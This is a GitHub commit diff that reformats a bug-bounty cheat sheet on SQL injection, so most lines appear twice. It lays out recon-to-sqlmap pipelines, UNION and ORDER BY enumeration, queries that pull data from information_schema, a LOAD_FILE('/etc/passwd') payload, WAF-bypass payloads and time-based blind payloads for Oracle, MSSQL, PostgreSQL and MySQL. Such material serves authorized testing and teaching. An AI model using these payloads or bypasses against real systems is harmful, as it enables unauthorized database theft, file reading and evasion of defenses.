Skip to content

Commit 03d8c0c

Browse files
KathanP19KathanP19
authored
Formatted via MD
1 parent 5e435c6 commit 03d8c0c

File tree

1 file changed

+83
-93
lines changed

1 file changed

+83
-93
lines changed

‎SQL Injection.md‎ renamed to ‎SQLi/SQL_Injection.md‎

Lines changed: 83 additions & 93 deletions
Original file line numberDiff line numberDiff line change
@@ -1,175 +1,165 @@
1+
# SQL Injection
12
Here are some quick methods to detect the SQL Injection vulnerability, though the methods are not limited. There are various tricks and tools.
23

3-
1. Using Burpsuite :
4+
# Methods To Find Sqli
45

6+
## 1. Using Burpsuite :
7+
```
58
1. Capture the request using burpsuite.
69
2. Send the request to burp scanner.
710
3. Proceed with active scan.
811
4. Once the scan is finished, look for SQL vulnerability that has been detected.
912
5. Manually try SQL injection payloads.
1013
6. Use SQLMAP to speed up the process.
11-
12-
2. Using waybackurls and other bunch of tools :
13-
14+
```
15+
## 2. Using waybackurls and other bunch of tools :
16+
```
1417
1. sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)
1518
2. cat domains | httpx | tee -a alive
1619
3. cat alive | waybackurls | tee -a urls
1720
4. gf sqli urls >> sqli
1821
5. sqlmap -m sqli --dbs --batch
1922
6. use tamper scripts
20-
21-
3. Using heuristic scan to get hidden parameters :
22-
23+
```
24+
## 3. Using heuristic scan to get hidden parameters :
25+
```
2326
1. Use subdomain enumeration tools on the domain.
2427
2. Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.
2528
3. You can use the same method described above in 2nd point.
2629
4. Use Arjun to scan for the hidden params in the urls.
2730
5. Use --urls flag to include all urls.
2831
6. Check the params as https://domain.com?<hiddenparam>=<value>
2932
7. Send request to file and process it through sqlmap.
30-
31-
4. Error generation with untrusted input or special characters :
32-
33+
```
34+
## 4. Error generation with untrusted input or special characters :
35+
```
3336
1. Submit single quote character ' & look for errors.
3437
2. Submit SQL specific query.
3538
3. Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.
3639
4. Submit certain payloads that results in time delay.
37-
38-
5. Finding total number of columns with order by or group by or having :
39-
40+
```
41+
# Post-Methods
42+
## 1. Finding total number of columns with order by or group by or having :
43+
```
4044
Submit a series of ORDER BY clause such as
4145
4246
' ORDER BY 1 --
4347
' ORDER BY 2 --
4448
' ORDER BY 3 --
4549
4650
and incrementing specified column index until an error occurs.
47-
48-
6. Finding vulnerable columns with union operator :
49-
51+
```
52+
## 2. Finding vulnerable columns with union operator :
53+
```
5054
Submit a series of UNION SELECT payloads.
5155
5256
' UNION SELECT NULL --
5357
' UNION SELECT NULL, NULL --
5458
' UNION SELECT NULL, NULL, NULL --
5559
5660
(Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)
61+
```
62+
* To go for the methods in more detail, go through portswigger site.
63+
64+
https://portswigger.net/web-security/sql-injection/union-attacks
5765

58-
To go for the methods in more detail, go through portswigger site.
59-
60-
https://portswigger.net/web-security/sql-injection/union-attacks
61-
62-
7. Extracting basic information like database(), version(), user(), UUID() with concat() or group_concat()
63-
64-
1. Database version
66+
## 3. Extracting basic information like database(), version(), user(), UUID() with concat() or group_concat()
6567

68+
### 1. Database version
69+
```
6670
Oracle SELECT banner FROM v$version
67-
SELECT version FROM v$instance
71+
SELECT version FROM v$instance
6872
69-
Microsoft SELECT @@version
73+
Microsoft SELECT @@version
7074
71-
PostgreSQL SELECT version()
75+
PostgreSQL SELECT version()
7276
7377
MySQL SELECT @@version
74-
75-
2. Database contents
76-
77-
Oracle SELECT * FROM all_tables
78-
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
78+
```
79+
### 2. Database contents
80+
```
81+
Oracle SELECT * FROM all_tables
82+
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
7983
8084
Microsoft SELECT * FROM information_schema.tables
8185
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
8286
8387
PostgreSQL SELECT * FROM information_schema.tables
8488
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
8589
86-
MySQL SELECT * FROM information_schema.tables
90+
MySQL SELECT * FROM information_schema.tables
8791
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
88-
89-
3. Shows version, user and database name
90-
92+
```
93+
### 3. Shows version, user and database name
94+
```
9195
' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database())
92-
93-
4. Using group_concat() function, used to concat all the rows of the returned results.
94-
96+
```
97+
### 4. Using group_concat() function, used to concat all the rows of the returned results.
98+
```
9599
' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()–
96-
97-
8. Accessing system files with load_file(). and advance exploitation afterwards :
98-
100+
```
101+
## 4. Accessing system files with load_file(). and advance exploitation afterwards :
102+
```
99103
' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')
104+
```
105+
## 5. Bypassing WAF :
100106

101-
9. Bypassing WAF :
102-
103-
1. Using Null byte before SQL query.
104-
107+
### 1. Using Null byte before SQL query.
108+
```
105109
%00' UNION SELECT password FROM Users WHERE username-'xyz'--
106-
107-
2. Using SQL inline comment sequence.
108-
110+
```
111+
### 2. Using SQL inline comment sequence.
112+
```
109113
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--
110-
111-
3. URL encoding
112-
114+
```
115+
### 3. URL encoding
116+
```
113117
for example :
114118
/ URL encoded to %2f
115119
* URL encoded to %2a
116120
117121
Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.
118-
119-
4. Changing Cases (uppercase/lowercase)
120-
121-
For more step wise detailed methods, go through the link below.
122-
123-
https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
124-
125-
5. Use SQLMAP tamper scripts. It helps bypass WAF/IDS/IPS.
126-
127-
1. Use Atlas. It helps suggesting tamper scripts for SQLMAP.
128-
129-
https://github.com/m4ll0k/Atlas
130-
131-
2. JHaddix post on SQLMAP tamper scripts.
132-
133-
https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423
122+
```
123+
### 4. Changing Cases (uppercase/lowercase)
124+
* For more step wise detailed methods, go through the link below.
125+
126+
https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
127+
### 5. Use SQLMAP tamper scripts. It helps bypass WAF/IDS/IPS.
128+
* 1. Use Atlas. It helps suggesting tamper scripts for SQLMAP.
129+
130+
https://github.com/m4ll0k/Atlas
131+
* 2. JHaddix post on SQLMAP tamper scripts.
132+
133+
https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423
134134

135-
10. Time Delays :
136-
135+
## 6. Time Delays :
136+
```
137137
Oracle dbms_pipe.receive_message(('a'),10)
138138
139139
Microsoft WAITFOR DELAY '0:0:10'
140140
141141
PostgreSQL SELECT pg_sleep(10)
142142
143143
MySQL SELECT sleep(10)
144-
145-
11. Conditional Delays :
146-
144+
```
145+
## 7. Conditional Delays :
146+
```
147147
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
148148
149149
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
150150
151151
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
152152
153153
MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
154-
155-
12. Resources and tools that will help gain an upper hand on finding bugs :
154+
```
155+
# Resources and tools that will help gain an upper hand on finding bugs :
156+
* Portswigger SQL Injection cheat sheet - https://portswigger.net/web-security/sql-injection/cheat-sheet
157+
* HTTPX - https://github.com/encode/httpx
158+
* GF patterns - https://github.com/1ndianl33t/Gf-Patterns
159+
* GF (Tomnomnom)- https://github.com/tomnomnom/gf
160+
* We can also use gau with waybackurls to fetch all urls.
161+
* Waybackurls - https://github.com/tomnomnom/waybackurls
162+
* Gau - https://github.com/lc/gau
163+
* Arjun - https://github.com/s0md3v/Arjun
164+
* Hakcrawler - https://github.com/hakluke/hakrawler
156165

157-
Portswigger SQL Injection cheat sheet - https://portswigger.net/web-security/sql-injection/cheat-sheet
158-
159-
HTTPX - https://github.com/encode/httpx
160-
161-
GF patterns - https://github.com/1ndianl33t/Gf-Patterns
162-
163-
GF (Tomnomnom)- https://github.com/tomnomnom/gf
164-
165-
We can also use gau with waybackurls to fetch all urls.
166-
167-
Waybackurls - https://github.com/tomnomnom/waybackurls
168-
169-
Gau - https://github.com/lc/gau
170-
171-
Arjun - https://github.com/s0md3v/Arjun
172-
173-
Hakcrawler - https://github.com/hakluke/hakrawler
174-
175-

0 commit comments

Comments
 (0)